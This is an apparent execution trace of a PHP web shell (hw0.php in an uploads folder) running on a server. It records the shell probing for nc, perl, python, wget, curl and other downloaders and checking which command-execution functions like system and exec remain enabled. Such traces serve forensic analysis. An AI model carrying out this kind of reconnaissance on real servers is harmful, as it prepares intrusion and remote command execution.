7 335 0 0.044480 2801544 exec 0 /var/www/html/uploads/hw0.php 762 2 'which perl' ''
7 335 1 0.045704 2802064
7 335 R '/usr/bin/perl'
7 336 0 0.045729 2801960 join 0 /var/www/html/uploads/hw0.php 763 2 '\n' [0 => '/usr/bin/perl']
7 336 1 0.045745 2802024
7 336 R '/usr/bin/perl'
6 A /var/www/html/uploads/hw0.php 763 $out = '/usr/bin/perl'
6 333 1 0.045772 2801560
6 333 R '/usr/bin/perl'
5 A /var/www/html/uploads/hw0.php 744 $data = '/usr/bin/perl'
5 332 1 0.045798 2801560
5 332 R '/usr/bin/perl'
4 A /var/www/html/uploads/hw0.php 2404 $path = '/usr/bin/perl'
4 331 1 0.045823 2801480
4 331 R 13
3 A /var/www/html/uploads/hw0.php 1155 $x++
4 337 0 0.045846 2801480 alfaWhich 1 /var/www/html/uploads/hw0.php 1155 1 'python'
5 338 0 0.045860 2801520 alfaEx 1 /var/www/html/uploads/hw0.php 2404 4 'which python' FALSE FALSE ???
6 339 0 0.045874 2801520 _alfa_php_cmd 1 /var/www/html/uploads/hw0.php 744 2 'which python' FALSE
6 A /var/www/html/uploads/hw0.php 758 $out = ''
7 340 0 0.045899 2801520 function_exists 0 /var/www/html/uploads/hw0.php 761 1 'exec'
7 340 1 0.045912 2801560
7 340 R TRUE
7 341 0 0.045926 2801544 exec 0 /var/www/html/uploads/hw0.php 762 2 'which python' ''
7 341 1 0.047070 2801664
7 341 R ''
7 342 0 0.047091 2801600 join 0 /var/www/html/uploads/hw0.php 763 2 '\n' []
7 342 1 0.047104 2801664
7 342 R ''
6 A /var/www/html/uploads/hw0.php 763 $out = ''
6 339 1 0.047132 2801520
6 339 R ''
5 A /var/www/html/uploads/hw0.php 744 $data = ''
5 338 1 0.047155 2801520
5 338 R ''
4 A /var/www/html/uploads/hw0.php 2404 $path = ''
4 337 1 0.047177 2801480
4 337 R FALSE
4 343 0 0.047190 2801480 alfaWhich 1 /var/www/html/uploads/hw0.php 1155 1 'ruby'
5 344 0 0.047203 2801520 alfaEx 1 /var/www/html/uploads/hw0.php 2404 4 'which ruby' FALSE FALSE ???
6 345 0 0.047217 2801520 _alfa_php_cmd 1 /var/www/html/uploads/hw0.php 744 2 'which ruby' FALSE
6 A /var/www/html/uploads/hw0.php 758 $out = ''
7 346 0 0.047240 2801520 function_exists 0 /var/www/html/uploads/hw0.php 761 1 'exec'
7 346 1 0.047253 2801560
7 346 R TRUE
7 347 0 0.047266 2801544 exec 0 /var/www/html/uploads/hw0.php 762 2 'which ruby' ''
7 347 1 0.048434 2801664
7 347 R ''
7 348 0 0.048453 2801600 join 0 /var/www/html/uploads/hw0.php 763 2 '\n' []
7 348 1 0.048467 2801664
7 348 R ''
6 A /var/www/html/uploads/hw0.php 763 $out = ''
6 345 1 0.048490 2801520
6 345 R ''
5 A /var/www/html/uploads/hw0.php 744 $data = ''
5 344 1 0.048512 2801520
5 344 R ''
4 A /var/www/html/uploads/hw0.php 2404 $path = ''
4 343 1 0.048534 2801480
4 343 R FALSE
4 349 0 0.048547 2801480 alfaWhich 1 /var/www/html/uploads/hw0.php 1155 1 'tar'
5 350 0 0.048559 2801520 alfaEx 1 /var/www/html/uploads/hw0.php 2404 4 'which tar' FALSE FALSE ???
6 351 0 0.048573 2801520 _alfa_php_cmd 1 /var/www/html/uploads/hw0.php 744 2 'which tar' FALSE
6 A /var/www/html/uploads/hw0.php 758 $out = ''
7 352 0 0.048596 2801520 function_exists 0 /var/www/html/uploads/hw0.php 761 1 'exec'
7 352 1 0.048609 2801560
7 352 R TRUE
7 353 0 0.048621 2801544 exec 0 /var/www/html/uploads/hw0.php 762 2 'which tar' ''
7 353 1 0.052512 2802064
7 353 R '/usr/bin/tar'
7 354 0 0.052547 2801960 join 0 /var/www/html/uploads/hw0.php 763 2 '\n' [0 => '/usr/bin/tar']
7 354 1 0.052564 2802024
7 354 R '/usr/bin/tar'
6 A /var/www/html/uploads/hw0.php 763 $out = '/usr/bin/tar'
6 351 1 0.052593 2801560
6 351 R '/usr/bin/tar'
5 A /var/www/html/uploads/hw0.php 744 $data = '/usr/bin/tar'
5 350 1 0.052618 2801560
5 350 R '/usr/bin/tar'
4 A /var/www/html/uploads/hw0.php 2404 $path = '/usr/bin/tar'
4 349 1 0.052644 2801480
4 349 R 12
3 A /var/www/html/uploads/hw0.php 1155 $x++
4 355 0 0.052670 2801480 alfaWhich 1 /var/www/html/uploads/hw0.php 1155 1 'gzip'
5 356 0 0.052684 2801520 alfaEx 1 /var/www/html/uploads/hw0.php 2404 4 'which gzip' FALSE FALSE ???
6 357 0 0.052698 2801520 _alfa_php_cmd 1 /var/www/html/uploads/hw0.php 744 2 'which gzip' FALSE
6 A /var/www/html/uploads/hw0.php 758 $out = ''
7 358 0 0.052722 2801520 function_exists 0 /var/www/html/uploads/hw0.php 761 1 'exec'
7 358 1 0.052736 2801560
7 358 R TRUE
7 359 0 0.052749 2801544 exec 0 /var/www/html/uploads/hw0.php 762 2 'which gzip' ''
7 359 1 0.054729 2802064
7 359 R '/usr/bin/gzip'
7 360 0 0.054771 2801960 join 0 /var/www/html/uploads/hw0.php 763 2 '\n' [0 => '/usr/bin/gzip']
7 360 1 0.054789 2802024
7 360 R '/usr/bin/gzip'
6 A /var/www/html/uploads/hw0.php 763 $out = '/usr/bin/gzip'
6 357 1 0.054818 2801560
6 357 R '/usr/bin/gzip'
5 A /var/www/html/uploads/hw0.php 744 $data = '/usr/bin/gzip'
5 356 1 0.054845 2801560
5 356 R '/usr/bin/gzip'
4 A /var/www/html/uploads/hw0.php 2404 $path = '/usr/bin/gzip'
4 355 1 0.054870 2801480
4 355 R 13
3 A /var/www/html/uploads/hw0.php 1155 $x++
4 361 0 0.054896 2801480 alfaWhich 1 /var/www/html/uploads/hw0.php 1155 1 'bzip'
5 362 0 0.054911 2801520 alfaEx 1 /var/www/html/uploads/hw0.php 2404 4 'which bzip' FALSE FALSE ???
6 363 0 0.054925 2801520 _alfa_php_cmd 1 /var/www/html/uploads/hw0.php 744 2 'which bzip' FALSE
6 A /var/www/html/uploads/hw0.php 758 $out = ''
7 364 0 0.054958 2801520 function_exists 0 /var/www/html/uploads/hw0.php 761 1 'exec'
7 364 1 0.054973 2801560
7 364 R TRUE
7 365 0 0.054986 2801544 exec 0 /var/www/html/uploads/hw0.php 762 2 'which bzip' ''
7 365 1 0.056252 2801664
7 365 R ''
7 366 0 0.056278 2801600 join 0 /var/www/html/uploads/hw0.php 763 2 '\n' []
7 366 1 0.056293 2801664
7 366 R ''
6 A /var/www/html/uploads/hw0.php 763 $out = ''
6 363 1 0.056318 2801520
6 363 R ''
5 A /var/www/html/uploads/hw0.php 744 $data = ''
5 362 1 0.056342 2801520
5 362 R ''
4 A /var/www/html/uploads/hw0.php 2404 $path = ''
4 361 1 0.056365 2801480
4 361 R FALSE
4 367 0 0.056379 2801480 alfaWhich 1 /var/www/html/uploads/hw0.php 1155 1 'bzialfa2'
5 368 0 0.056394 2801520 alfaEx 1 /var/www/html/uploads/hw0.php 2404 4 'which bzialfa2' FALSE FALSE ???
6 369 0 0.056408 2801520 _alfa_php_cmd 1 /var/www/html/uploads/hw0.php 744 2 'which bzialfa2' FALSE
6 A /var/www/html/uploads/hw0.php 758 $out = ''
7 370 0 0.056431 2801520 function_exists 0 /var/www/html/uploads/hw0.php 761 1 'exec'
7 370 1 0.056445 2801560
7 370 R TRUE
7 371 0 0.056458 2801544 exec 0 /var/www/html/uploads/hw0.php 762 2 'which bzialfa2' ''
7 371 1 0.057738 2801664
7 371 R ''
7 372 0 0.057762 2801600 join 0 /var/www/html/uploads/hw0.php 763 2 '\n' []
7 372 1 0.057777 2801664
7 372 R ''
6 A /var/www/html/uploads/hw0.php 763 $out = ''
6 369 1 0.057802 2801520
6 369 R ''
5 A /var/www/html/uploads/hw0.php 744 $data = ''
5 368 1 0.057826 2801520
5 368 R ''
4 A /var/www/html/uploads/hw0.php 2404 $path = ''
4 367 1 0.057848 2801480
4 367 R FALSE
4 373 0 0.057862 2801480 alfaWhich 1 /var/www/html/uploads/hw0.php 1155 1 'nc'
5 374 0 0.057875 2801520 alfaEx 1 /var/www/html/uploads/hw0.php 2404 4 'which nc' FALSE FALSE ???
6 375 0 0.057889 2801520 _alfa_php_cmd 1 /var/www/html/uploads/hw0.php 744 2 'which nc' FALSE
6 A /var/www/html/uploads/hw0.php 758 $out = ''
7 376 0 0.057912 2801520 function_exists 0 /var/www/html/uploads/hw0.php 761 1 'exec'
7 376 1 0.057925 2801560
7 376 R TRUE
7 377 0 0.057938 2801544 exec 0 /var/www/html/uploads/hw0.php 762 2 'which nc' ''
7 377 1 0.059157 2802064
7 377 R '/usr/bin/nc'
7 378 0 0.059182 2801960 join 0 /var/www/html/uploads/hw0.php 763 2 '\n' [0 => '/usr/bin/nc']
7 378 1 0.059198 2802024
7 378 R '/usr/bin/nc'
6 A /var/www/html/uploads/hw0.php 763 $out = '/usr/bin/nc'
6 375 1 0.059225 2801560
6 375 R '/usr/bin/nc'
5 A /var/www/html/uploads/hw0.php 744 $data = '/usr/bin/nc'
5 374 1 0.059250 2801560
5 374 R '/usr/bin/nc'
4 A /var/www/html/uploads/hw0.php 2404 $path = '/usr/bin/nc'
4 373 1 0.059275 2801480
4 373 R 11
3 A /var/www/html/uploads/hw0.php 1155 $x++
4 379 0 0.059299 2801480 alfaWhich 1 /var/www/html/uploads/hw0.php 1155 1 'locate'
5 380 0 0.059313 2801520 alfaEx 1 /var/www/html/uploads/hw0.php 2404 4 'which locate' FALSE FALSE ???
6 381 0 0.059327 2801520 _alfa_php_cmd 1 /var/www/html/uploads/hw0.php 744 2 'which locate' FALSE
6 A /var/www/html/uploads/hw0.php 758 $out = ''
7 382 0 0.059351 2801520 function_exists 0 /var/www/html/uploads/hw0.php 761 1 'exec'
7 382 1 0.059364 2801560
7 382 R TRUE
7 383 0 0.059378 2801544 exec 0 /var/www/html/uploads/hw0.php 762 2 'which locate' ''
7 383 1 0.060539 2801664
7 383 R ''
7 384 0 0.060559 2801600 join 0 /var/www/html/uploads/hw0.php 763 2 '\n' []
7 384 1 0.060573 2801664
7 384 R ''
6 A /var/www/html/uploads/hw0.php 763 $out = ''
6 381 1 0.060597 2801520
6 381 R ''
5 A /var/www/html/uploads/hw0.php 744 $data = ''
5 380 1 0.060619 2801520
5 380 R ''
4 A /var/www/html/uploads/hw0.php 2404 $path = ''
4 379 1 0.060647 2801480
4 379 R FALSE
4 385 0 0.060660 2801480 alfaWhich 1 /var/www/html/uploads/hw0.php 1155 1 'suidperl'
5 386 0 0.060673 2801520 alfaEx 1 /var/www/html/uploads/hw0.php 2404 4 'which suidperl' FALSE FALSE ???
6 387 0 0.060688 2801520 _alfa_php_cmd 1 /var/www/html/uploads/hw0.php 744 2 'which suidperl' FALSE
6 A /var/www/html/uploads/hw0.php 758 $out = ''
7 388 0 0.060711 2801520 function_exists 0 /var/www/html/uploads/hw0.php 761 1 'exec'
7 388 1 0.060724 2801560
7 388 R TRUE
7 389 0 0.060736 2801544 exec 0 /var/www/html/uploads/hw0.php 762 2 'which suidperl' ''
7 389 1 0.061963 2801664
7 389 R ''
7 390 0 0.061986 2801600 join 0 /var/www/html/uploads/hw0.php 763 2 '\n' []
7 390 1 0.062001 2801664
7 390 R ''
6 A /var/www/html/uploads/hw0.php 763 $out = ''
6 387 1 0.062027 2801520
6 387 R ''
5 A /var/www/html/uploads/hw0.php 744 $data = ''
5 386 1 0.062050 2801520
5 386 R ''
4 A /var/www/html/uploads/hw0.php 2404 $path = ''
4 385 1 0.062073 2801480
4 385 R FALSE
3 A /var/www/html/uploads/hw0.php 1161 $downloaders = [0 => 'wget', 1 => 'fetch', 2 => 'lynx', 3 => 'links', 4 => 'curl', 5 => 'get', 6 => 'lwp-mirror']
3 A /var/www/html/uploads/hw0.php 1162 $x = 0
4 391 0 0.062117 2801480 alfaWhich 1 /var/www/html/uploads/hw0.php 1163 1 'wget'
5 392 0 0.062130 2801520 alfaEx 1 /var/www/html/uploads/hw0.php 2404 4 'which wget' FALSE FALSE ???
6 393 0 0.062144 2801520 _alfa_php_cmd 1 /var/www/html/uploads/hw0.php 744 2 'which wget' FALSE
6 A /var/www/html/uploads/hw0.php 758 $out = ''
7 394 0 0.062167 2801520 function_exists 0 /var/www/html/uploads/hw0.php 761 1 'exec'
7 394 1 0.062181 2801560
7 394 R TRUE
7 395 0 0.062194 2801544 exec 0 /var/www/html/uploads/hw0.php 762 2 'which wget' ''
7 395 1 0.063402 2802064
7 395 R '/usr/bin/wget'
7 396 0 0.063426 2801960 join 0 /var/www/html/uploads/hw0.php 763 2 '\n' [0 => '/usr/bin/wget']
7 396 1 0.063443 2802024
7 396 R '/usr/bin/wget'
6 A /var/www/html/uploads/hw0.php 763 $out = '/usr/bin/wget'
6 393 1 0.063470 2801560
6 393 R '/usr/bin/wget'
5 A /var/www/html/uploads/hw0.php 744 $data = '/usr/bin/wget'
5 392 1 0.063496 2801560
5 392 R '/usr/bin/wget'
4 A /var/www/html/uploads/hw0.php 2404 $path = '/usr/bin/wget'
4 391 1 0.063521 2801480
4 391 R 13
3 A /var/www/html/uploads/hw0.php 1163 $x++
4 397 0 0.063544 2801480 alfaWhich 1 /var/www/html/uploads/hw0.php 1163 1 'fetch'
5 398 0 0.063558 2801520 alfaEx 1 /var/www/html/uploads/hw0.php 2404 4 'which fetch' FALSE FALSE ???
6 399 0 0.063571 2801520 _alfa_php_cmd 1 /var/www/html/uploads/hw0.php 744 2 'which fetch' FALSE
6 A /var/www/html/uploads/hw0.php 758 $out = ''
7 400 0 0.063596 2801520 function_exists 0 /var/www/html/uploads/hw0.php 761 1 'exec'
7 400 1 0.063609 2801560
7 400 R TRUE
7 401 0 0.063622 2801544 exec 0 /var/www/html/uploads/hw0.php 762 2 'which fetch' ''
7 401 1 0.064813 2801664
7 401 R ''
7 402 0 0.064835 2801600 join 0 /var/www/html/uploads/hw0.php 763 2 '\n' []
7 402 1 0.064850 2801664
7 402 R ''
6 A /var/www/html/uploads/hw0.php 763 $out = ''
6 399 1 0.064875 2801520
6 399 R ''
5 A /var/www/html/uploads/hw0.php 744 $data = ''
5 398 1 0.064898 2801520
5 398 R ''
4 A /var/www/html/uploads/hw0.php 2404 $path = ''
4 397 1 0.064921 2801480
4 397 R FALSE
4 403 0 0.064935 2801480 alfaWhich 1 /var/www/html/uploads/hw0.php 1163 1 'lynx'
5 404 0 0.064948 2801520 alfaEx 1 /var/www/html/uploads/hw0.php 2404 4 'which lynx' FALSE FALSE ???
6 405 0 0.064963 2801520 _alfa_php_cmd 1 /var/www/html/uploads/hw0.php 744 2 'which lynx' FALSE
6 A /var/www/html/uploads/hw0.php 758 $out = ''
7 406 0 0.064986 2801520 function_exists 0 /var/www/html/uploads/hw0.php 761 1 'exec'
7 406 1 0.065004 2801560
7 406 R TRUE
7 407 0 0.065018 2801544 exec 0 /var/www/html/uploads/hw0.php 762 2 'which lynx' ''
7 407 1 0.066254 2801664
7 407 R ''
7 408 0 0.066276 2801600 join 0 /var/www/html/uploads/hw0.php 763 2 '\n' []
7 408 1 0.066292 2801664
7 408 R ''
6 A /var/www/html/uploads/hw0.php 763 $out = ''
6 405 1 0.066317 2801520
6 405 R ''
5 A /var/www/html/uploads/hw0.php 744 $data = ''
5 404 1 0.066340 2801520
5 404 R ''
4 A /var/www/html/uploads/hw0.php 2404 $path = ''
4 403 1 0.066363 2801480
4 403 R FALSE
4 409 0 0.066376 2801480 alfaWhich 1 /var/www/html/uploads/hw0.php 1163 1 'links'
5 410 0 0.066390 2801520 alfaEx 1 /var/www/html/uploads/hw0.php 2404 4 'which links' FALSE FALSE ???
6 411 0 0.066404 2801520 _alfa_php_cmd 1 /var/www/html/uploads/hw0.php 744 2 'which links' FALSE
6 A /var/www/html/uploads/hw0.php 758 $out = ''
7 412 0 0.066428 2801520 function_exists 0 /var/www/html/uploads/hw0.php 761 1 'exec'
7 412 1 0.066442 2801560
7 412 R TRUE
7 413 0 0.066455 2801544 exec 0 /var/www/html/uploads/hw0.php 762 2 'which links' ''
7 413 1 0.067656 2801664
7 413 R ''
7 414 0 0.067677 2801600 join 0 /var/www/html/uploads/hw0.php 763 2 '\n' []
7 414 1 0.067693 2801664
7 414 R ''
6 A /var/www/html/uploads/hw0.php 763 $out = ''
6 411 1 0.067718 2801520
6 411 R ''
5 A /var/www/html/uploads/hw0.php 744 $data = ''
5 410 1 0.067741 2801520
5 410 R ''
4 A /var/www/html/uploads/hw0.php 2404 $path = ''
4 409 1 0.067764 2801480
4 409 R FALSE
4 415 0 0.067777 2801480 alfaWhich 1 /var/www/html/uploads/hw0.php 1163 1 'curl'
5 416 0 0.067791 2801520 alfaEx 1 /var/www/html/uploads/hw0.php 2404 4 'which curl' FALSE FALSE ???
6 417 0 0.067805 2801520 _alfa_php_cmd 1 /var/www/html/uploads/hw0.php 744 2 'which curl' FALSE
6 A /var/www/html/uploads/hw0.php 758 $out = ''
7 418 0 0.067828 2801520 function_exists 0 /var/www/html/uploads/hw0.php 761 1 'exec'
7 418 1 0.067842 2801560
7 418 R TRUE
7 419 0 0.067855 2801544 exec 0 /var/www/html/uploads/hw0.php 762 2 'which curl' ''
7 419 1 0.069071 2802064
7 419 R '/usr/bin/curl'
7 420 0 0.069095 2801960 join 0 /var/www/html/uploads/hw0.php 763 2 '\n' [0 => '/usr/bin/curl']
7 420 1 0.069112 2802024
7 420 R '/usr/bin/curl'
6 A /var/www/html/uploads/hw0.php 763 $out = '/usr/bin/curl'
6 417 1 0.069139 2801560
6 417 R '/usr/bin/curl'
5 A /var/www/html/uploads/hw0.php 744 $data = '/usr/bin/curl'
5 416 1 0.069163 2801560
5 416 R '/usr/bin/curl'
4 A /var/www/html/uploads/hw0.php 2404 $path = '/usr/bin/curl'
4 415 1 0.069187 2801480
4 415 R 13
3 A /var/www/html/uploads/hw0.php 1163 $x++
4 421 0 0.069216 2801480 alfaWhich 1 /var/www/html/uploads/hw0.php 1163 1 'get'
5 422 0 0.069230 2801520 alfaEx 1 /var/www/html/uploads/hw0.php 2404 4 'which get' FALSE FALSE ???
6 423 0 0.069245 2801520 _alfa_php_cmd 1 /var/www/html/uploads/hw0.php 744 2 'which get' FALSE
6 A /var/www/html/uploads/hw0.php 758 $out = ''
7 424 0 0.069268 2801520 function_exists 0 /var/www/html/uploads/hw0.php 761 1 'exec'
7 424 1 0.069281 2801560
7 424 R TRUE
7 425 0 0.069294 2801544 exec 0 /var/www/html/uploads/hw0.php 762 2 'which get' ''
7 425 1 0.070520 2801664
7 425 R ''
7 426 0 0.070543 2801600 join 0 /var/www/html/uploads/hw0.php 763 2 '\n' []
7 426 1 0.070558 2801664
7 426 R ''
6 A /var/www/html/uploads/hw0.php 763 $out = ''
6 423 1 0.070583 2801520
6 423 R ''
5 A /var/www/html/uploads/hw0.php 744 $data = ''
5 422 1 0.070606 2801520
5 422 R ''
4 A /var/www/html/uploads/hw0.php 2404 $path = ''
4 421 1 0.070629 2801480
4 421 R FALSE
4 427 0 0.070642 2801480 alfaWhich 1 /var/www/html/uploads/hw0.php 1163 1 'lwp-mirror'
5 428 0 0.070661 2801528 alfaEx 1 /var/www/html/uploads/hw0.php 2404 4 'which lwp-mirror' FALSE FALSE ???
6 429 0 0.070675 2801528 _alfa_php_cmd 1 /var/www/html/uploads/hw0.php 744 2 'which lwp-mirror' FALSE
6 A /var/www/html/uploads/hw0.php 758 $out = ''
7 430 0 0.070700 2801528 function_exists 0 /var/www/html/uploads/hw0.php 761 1 'exec'
7 430 1 0.070713 2801568
7 430 R TRUE
7 431 0 0.070726 2801552 exec 0 /var/www/html/uploads/hw0.php 762 2 'which lwp-mirror' ''
7 431 1 0.071899 2802088
7 431 R '/usr/bin/lwp-mirror'
7 432 0 0.071921 2801976 join 0 /var/www/html/uploads/hw0.php 763 2 '\n' [0 => '/usr/bin/lwp-mirror']
7 432 1 0.071937 2802040
7 432 R '/usr/bin/lwp-mirror'
6 A /var/www/html/uploads/hw0.php 763 $out = '/usr/bin/lwp-mirror'
6 429 1 0.071963 2801576
6 429 R '/usr/bin/lwp-mirror'
5 A /var/www/html/uploads/hw0.php 744 $data = '/usr/bin/lwp-mirror'
5 428 1 0.071988 2801576
5 428 R '/usr/bin/lwp-mirror'
4 A /var/www/html/uploads/hw0.php 2404 $path = '/usr/bin/lwp-mirror'
4 427 1 0.072012 2801480
4 427 R 19
3 A /var/www/html/uploads/hw0.php 1163 $x++
4 433 0 0.072037 2801480 function_exists 0 /var/www/html/uploads/hw0.php 1181 1 'get_magic_quotes_gpc'
4 433 1 0.072051 2801520
4 433 R TRUE
4 434 0 0.072064 2801480 get_magic_quotes_gpc 0 /var/www/html/uploads/hw0.php 1181 0
4 434 1 0.072076 2801480
4 434 R FALSE
3 A /var/www/html/uploads/hw0.php 1181 $quotes = FALSE
3 A /var/www/html/uploads/hw0.php 1181 $magic = '<span class="header_off">OFF</span>'
4 435 0 0.072113 2801480 Alfa_GetDisable_Function 1 /var/www/html/uploads/hw0.php 1183 0
5 436 0 0.072126 2801480 ini_get 0 /var/www/html/uploads/hw0.php 917 1 'disable_functions'
5 436 1 0.072141 2801960
5 436 R 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4 A /var/www/html/uploads/hw0.php 917 $disfun = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4 A /var/www/html/uploads/hw0.php 918 $afa = '<span class="header_show_all">All Functions Accessible</span>'
5 437 0 0.072201 2801928 explode 0 /var/www/html/uploads/hw0.php 920 2 ',' 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
5 437 1 0.072226 2804400
5 437 R [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
4 A /var/www/html/uploads/hw0.php 920 $s = [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
5 438 0 0.072308 2804328 array_unique 0 /var/www/html/uploads/hw0.php 921 1 [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
5 438 1 0.072341 2805696
5 438 R [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
4 A /var/www/html/uploads/hw0.php 921 $s = [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
4 A /var/www/html/uploads/hw0.php 922 $i = 0
4 A /var/www/html/uploads/hw0.php 923 $b = 0
4 A /var/www/html/uploads/hw0.php 924 $func = [0 => 'system', 1 => 'exec', 2 => 'shell_exec', 3 => 'proc_open', 4 => 'popen', 5 => 'passthru', 6 => 'symlink', 7 => 'dl']
4 A /var/www/html/uploads/hw0.php 925 $black_list = []
4 A /var/www/html/uploads/hw0.php 926 $allow_list = []
5 439 0 0.072464 2804328 trim 0 /var/www/html/uploads/hw0.php 928 1 'pcntl_alarm'
5 439 1 0.072478 2804360
5 439 R 'pcntl_alarm'
4 A /var/www/html/uploads/hw0.php 928 $d = 'pcntl_alarm'
5 440 0 0.072503 2804328 is_callable 0 /var/www/html/uploads/hw0.php 929 1 'pcntl_alarm'
5 440 1 0.072518 2804360
5 440 R FALSE
5 441 0 0.072531 2804328 trim 0 /var/www/html/uploads/hw0.php 928 1 'pcntl_fork'
5 441 1 0.072544 2804360
5 441 R 'pcntl_fork'
4 A /var/www/html/uploads/hw0.php 928 $d = 'pcntl_fork'
5 442 0 0.072568 2804328 is_callable 0 /var/www/html/uploads/hw0.php 929 1 'pcntl_fork'
5 442 1 0.072582 2804360
5 442 R FALSE
5 443 0 0.072595 2804328 trim 0 /var/www/html/uploads/hw0.php 928 1 'pcntl_waitpid'
5 443 1 0.072608 2804360
5 443 R 'pcntl_waitpid'
4 A /var/www/html/uploads/hw0.php 928 $d = 'pcntl_waitpid'
5 444 0 0.072632 2804328 is_callable 0 /var/www/html/uploads/hw0.php 929 1 'pcntl_waitpid'
5 444 1 0.072651 2804360
5 444 R FALSE
5 445 0 0.072670 2804328 trim 0 /var/www/html/uploads/hw0.php 928 1 'pcntl_wait'
5 445 1 0.072685 2804360
5 445 R 'pcntl_wait'
4 A /var/www/html/uploads/hw0.php 928 $d = 'pcntl_wait'
5 446 0 0.072715 2804328 is_callable 0 /var/www/html/uploads/hw0.php 929 1 'pcntl_wait'
5 446 1 0.072728 2804360
5 446 R FALSE
5 447 0 0.072742 2804328 trim 0 /var/www/html/uploads/hw0.php 928 1 'pcntl_wifexited'
5 447 1 0.072754 2804360
5 447 R 'pcntl_wifexited'
4 A /var/www/html/uploads/hw0.php 928 $d = 'pcntl_wifexited'
5 448 0 0.072778 2804328 is_callable 0 /var/www/html/uploads/hw0.php 929 1 'pcntl_wifexited'
5 448 1 0.072792 2804360
5 448 R FALSE
5 449 0 0.072805 2804328 trim 0 /var/www/html/uploads/hw0.php 928 1 'pcntl_wifstopped'
5 449 1 0.072817 2804360
5 449 R 'pcntl_wifstopped'
